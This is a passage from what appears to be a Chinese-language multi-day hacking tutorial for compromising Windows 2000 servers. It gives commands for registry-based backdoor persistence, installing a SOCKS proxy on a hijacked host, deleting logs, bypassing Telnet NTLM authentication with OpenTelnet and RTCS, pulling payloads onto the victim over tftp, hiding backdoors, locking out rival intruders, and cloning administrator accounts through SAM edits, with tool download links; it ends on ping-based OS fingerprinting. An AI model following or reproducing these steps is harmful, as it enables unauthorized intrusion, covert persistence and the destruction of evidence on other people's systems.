regedit /s c:\winnt\system32\zilong.reg
[ 把 后 门 程 序 导 入 注 册 表 的 启 动 项]这样做是防止被别人停止我们
的后门服务程序,就算我们的后门服务程序被停止了,在主机重启动后我们的后门
服务就又继续运行了.
SOCKS -install
[ 开 始 安 装 socks 代 理]
SCOKS -config starttype 2
[ 使 SOCKS 代 理 程 序 自 动 运 行,不 怕 肉 鸡 再 重 启 了]
socks -config port 1080
[ socks 代 理 端 口 设 置 为 1080 ]
net start skserver
[ 启 动 SOCKS 代 理 服 务 ]可以打开QQ设置IP代理了
long
[ 刚 才 上 传 的 一 个 删 除 日 志 程 序,运 行 它 就 可 以 了]
[第6天]从telnet讲起
前几天我说到过telnet,好象很多朋友不太明白,也不会用,我想这主要是因为你的命令掌握不太牢*啊,我今天就把telnet详细讲一遍,再说一些简单的网络相关命令
先说telnet,什么是telnet?Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),那么什么是远程登录?
我想这个大家都明白一点,定义:远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。
使用Telnet协议进行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。
Telnet远程登录服务分为以下4个过程:
1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名;
2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;
3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;
4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。
再说一下什么叫Telnet协议?简单点说Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:
1)Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统,他们只需构造使用标准接口的程序;
2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项;
3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。
关于这个就说这么多了,至于其他的一些就不说了,因为没什么帮助对我门,如果你有兴趣,可以去本站查查相关资料
再说说Win2000的Telnet服务,因为大部分服务器用的都是2000的
Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。 其实从应用层面上,Win2000的Telnet服务并没有什么可说的,绝大部分内容你都可以从HELP文件中得到,我在此只是把它稍微整理一下而已.Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置:
AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。
DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。
DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%\System32\Cmd.exe /q /k
MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。
LoginScript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。
NTLM:NTLM身份验证选项。默认是2。可以有下面这些值:
0: 不使用 NTLM 身份验证。
1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。
2: 只使用 NTLM 身份验证。
TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。
以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1
2 NTLM
提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?
早期的SMB协议在网络上明文传输口令,后来出现了"LAN Manager Challenge/Response"验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的:
1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输
3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)
4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。
从上面的过程我们可以看出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。
由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet远地机器时,会显示下面情况中的一种:
1)身份验证选项=0时
=====================================
Microsoft ® Windows Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输入扫到的Administrator和5678
2)身份验证选项=1时
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft ® Windows Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\先尝试 NTLM 身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别
3)身份验证选项=2时
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遗失对主机的连接。
C:\>
\\仔细看看上面的显示,根本没有给你输入用户名和密码的机会,直接断开连接,扫到了密码也是白扫
所以对于入侵者来说,NTLM是横在我们面前的一座大山,必须要除掉它,一般我们有如下几种方法:
1通过修改远程注册表更改telnet服务器配置,将验证方式从2改为1或0;
2使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;
3在本地建立扫描到的用户,以此用户身份开启telnet客户机并进行远程登录;
4使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)
5使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)
基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:
OpenTelnet.exe \\server username password NTLMAuthor telnetport
OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口
cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目标IP> <管理员用户名> <密码> <验证方式> <tlnet端口>
那telnet上去后不知道该做什么了?很多朋友这样问了,我想如果你是从第1天看的,应该知道吧,我就再说说吧
1 查看系统信息
呵呵,其实就是随处看看,看看他的系统配置和版本(用type c:\boot.ini来知道pro版或server版),看看都装了什么服务或软件(从目录名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是国外的机器,看也看不懂),看看他的用户情况,总之就是尽可能多的了解系统,为一会装后门摸底。
2 使用tftp传送文件
想必大家都遇到过在telnet中传输文件的问题,因为我们习惯了在ipc管道中的文件传输,所以有些朋友喜欢用net share ipc$ 来打开管道,进而利用copy来传输文件。不过这样反而麻烦,既然我们已经得到了shell(这个前面已经很详细的说过了)们可以用TFPT命令来完成这一切,什么是TFTP呢?
用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的: 首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令:
C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe
其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的)
需要指出的是,如果使用代理IP,你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址,所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。
3 安置后门
如果你入侵还有其他目的,比如以破坏为主,或者是来修改主页的,那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧
这个问题我在前面有讲过一点,但不详细.用的后门一般有:木马,asp木马,远程控制软件,克隆帐户,建立并隐藏帐户,telnet,telnet扩展的shell,终端服务等。安置一个好的后门通常要注意以下几点:(这是一个前辈写的我copy一下,很中肯的)
1 不会被防火墙查杀及阻碍通信:被加入病毒库的后门最好加壳以逃过防火墙,尽量用低端口通信,以免被防火墙屏蔽。
2 最大限度增加隐蔽性:如果你选择远程控制软件,要注意被控端的安装提示和小图标,以及是否同步画面;如果你在帐户上做文章,要尽量保持在cmd和用户管理中都不出破绽;如果你选择放木马或telnet扩展,要注意文件和进程的隐藏;如果新开了终端服务(入侵前并没有开),一定要该掉3389这个显眼的端口,且越低越好。
不要当管理员不存在:这是一个大忌,许多朋友在只有默认帐户的机器上建立类似'hacking'的管理员帐户,真是无知者无畏呀。所以安置后门的时候,想想管理员疏忽的地方会在哪里。
4 打补丁
如果想独霸肉鸡,就要会打补丁,要知道对肉鸡的竞争是很激烈的。怎么打补丁呢?这个也要问?想想你是怎么进来的吧。算了,提示一下,除了修补大的漏洞以外(上传官方补丁并运行),也要注意它的共享,ipc$共享(最好都关闭),可疑端口,容易被利用的服务等。不过打补丁也要注意隐蔽性的,不要让管理员发现大的改动。
5 清除日志
可以手动或利用软件,如果不太会就去找相关教材吧,在这里我不详细介绍了。(上一篇我讲过一点)
好了,基本上就这么多了,今天就到这了,希望能给大家一些帮助
[第7天]继续讲,从克隆帐号 讲起
前2天基本的一些东西都讲过了,今天我觉得得把克隆帐号这个问题讲清楚了
什么叫克隆帐号 ?
前辈说:在注册表中有两处保存了帐号的SID相对标志符,一处是SAM\Domains\Account \Users下的子键名,另一处是该子键的子项F的值中。这里微软犯了个不同步它们的错误,登陆时用的是后者,查询时用前者。当用admin的F项覆盖其他帐号的F项后,就造成了帐号是管理员权限但查询还是原来状态的情况 。即所谓的克隆帐号。(我想这个很明白的,如果还有这个问题,你去网络技术版块问吧)
说到克垄帐号就得说说SAM安全帐号管理器,详细的我就不重复了,因为呢多前辈写了很多很棒的文章,大家有兴趣就看看:http://www.91one.net/dvbbs/dispbbs.asp?b...17&id=1427
明白原理后就可以手动或者用现成的工具克隆帐号,用什么呢?
克隆ca.exe 下载(找了许久 啊)http://www.hejie.net/xz/list.asp?id=926
注意手动克隆需要SYSTEM权限(这句话大家应该能明白吧)
用什么呢?psu.exe
还是很棒的,下载:http://www.sometips.com/soft/psu.exe
[第8天]从回答一个朋友的问题说起
有个朋友发了短信给我问怎么判断对方主机的操作系统呢?今天我们就先说说这个问题。我先从最简单的PING看主机操作系统说起
一、用ping来识别操作系统
C:\>ping 10.1.1.2
Pinging 10.1.1.2 with 32 bytes of data:
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Ping statistics for 10.1.1.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>
C:\>ping 10.1.1.6
Pinging 10.1.1.6 with 32 bytes of data:
Request timed out.
Reply from 10.1.1.6: bytes=32 time=250ms TTL=237
Reply from 10.1.1.6: bytes=32 time=234ms TTL=237
Reply from 10.1.1.6: bytes=32 time=234ms TTL=237

